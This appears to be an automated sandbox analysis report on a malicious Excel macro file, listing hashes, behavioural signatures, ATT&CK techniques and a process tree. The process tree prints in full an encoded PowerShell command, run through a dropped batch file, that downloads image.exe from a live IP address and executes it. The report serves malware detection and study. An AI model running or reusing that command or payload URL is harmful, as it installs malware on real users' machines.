ebb51c798e70ceb39e210269ceef3495cad9bd3d04b6bb18b00bbbc07f70283a

General

Target

0c69053bf59475cd7889a37427a32caa28bc94a7bff0f4d2052b89dd8d08889f.xlsm
Size

9KB
MD5

f5e976ded990b7d3ae74eb922b397006
SHA1

482b374c7e9ddc7174fa18589640d990f9318d29
SHA256

0c69053bf59475cd7889a37427a32caa28bc94a7bff0f4d2052b89dd8d08889f
SHA512

7ef67ad8210323a7c391b3d8832cd7374ced9d804d6b4dfd9f301cea4189103ba6d80c2d6ff96258ba1b110c9b3bc12bcac18c74caed3ac7f209248078bb0b86
SSDEEP

192:f29RnkbMcdopW9yj2zHpD7ho5LUNBRfGJhKniUGdyfxSfGQm:fGk9d2j2DpD18OmuGkfmG/

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://13.92.100.208/toss/image.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4880	3580	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

23 4428 powershell.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

3580 EXCEL.EXE

flow	pid	process
23	4428	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\7CC75E00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3580 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4428 powershell.exe
4428 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4428 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

3580 EXCEL.EXE
3580 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\7CC75E00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
4428	powershell.exe
4428	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4428	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3580 wrote to memory of 4880	3580	EXCEL.EXE	cmd.exe
PID 3580 wrote to memory of 4880	3580	EXCEL.EXE	cmd.exe
PID 4880 wrote to memory of 4428	4880	cmd.exe	powershell.exe
PID 4880 wrote to memory of 4428	4880	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0c69053bf59475cd7889a37427a32caa28bc94a7bff0f4d2052b89dd8d08889f.xlsm"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Txgiywqiwpp.bat
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBMAGoAegBmAG8AcwBvAHgAbQBuAHMAZQB0AGoAYgBhAGcAawAuAGUAeABlACIAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAMwAuADkAMgAuADEAMAAwAC4AMgAwADgALwB0AG8AcwBzAC8AaQBtAGEAZwBlAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7CC75E00

Filesize
18KB

MD5
1b0af91960becbd31ef030573e2ce382

SHA1
cb5cb2d8f4fa53895846436f0cd6cb4f59b87025

SHA256
ce8294572095d7486312c2be5e5fe2c72a2e3c383f48383f2579c881da486351

SHA512
1640ff0402c2dbbe63db96c842627c539f1f9cb4521199a1fcefb2a2a3eff148ce59b8016506b853abd7f5fec1645c2a0d202e5a34667e6ecdb0d9a7d3446029

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_leirilte.kzx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Documents\Txgiywqiwpp.bat

Filesize
587B

MD5
c8f9ae97e9408bb8761d4ef495478d57

SHA1
18063300385b88f51ad620f145e62560cfa598c8

SHA256
4935c2ed8f0a3243204881cef276c5ad0006097053c459749e3cfb2901dac41e

SHA512
dd0552396ea3b5e04aaf83b5f7f84294002cf2b87c9ae111d8838c7f758b3c6e34af9d4ffdcacfe717b6610e96995e12082ecb64d7f46ee910e87825c1652fd9

Download Submit
memory/3580-20-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-12-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-10-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-19-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-8-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-11-0x00007FF9B1540000-0x00007FF9B1550000-memory.dmp

Filesize
64KB

Download
memory/3580-5-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

Filesize
64KB

Download
memory/3580-18-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-2-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

Filesize
64KB

Download
memory/3580-13-0x00007FF9B1540000-0x00007FF9B1550000-memory.dmp

Filesize
64KB

Download
memory/3580-15-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-16-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-17-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-14-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-22-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-1-0x00007FF9F396D000-0x00007FF9F396E000-memory.dmp

Filesize
4KB

Download
memory/3580-9-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-7-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-21-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-0-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

Filesize
64KB

Download
memory/3580-76-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-50-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-72-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-6-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-77-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-3-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

Filesize
64KB

Download
memory/3580-103-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-4-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

Filesize
64KB

Download
memory/3580-96-0x00007FF9F396D000-0x00007FF9F396E000-memory.dmp

Filesize
4KB

Download
memory/3580-97-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-98-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3580-99-0x00007FF9F38D0000-0x00007FF9F3AC5000-memory.dmp

Filesize
2.0MB

Download
memory/4428-83-0x000002115B370000-0x000002115B392000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads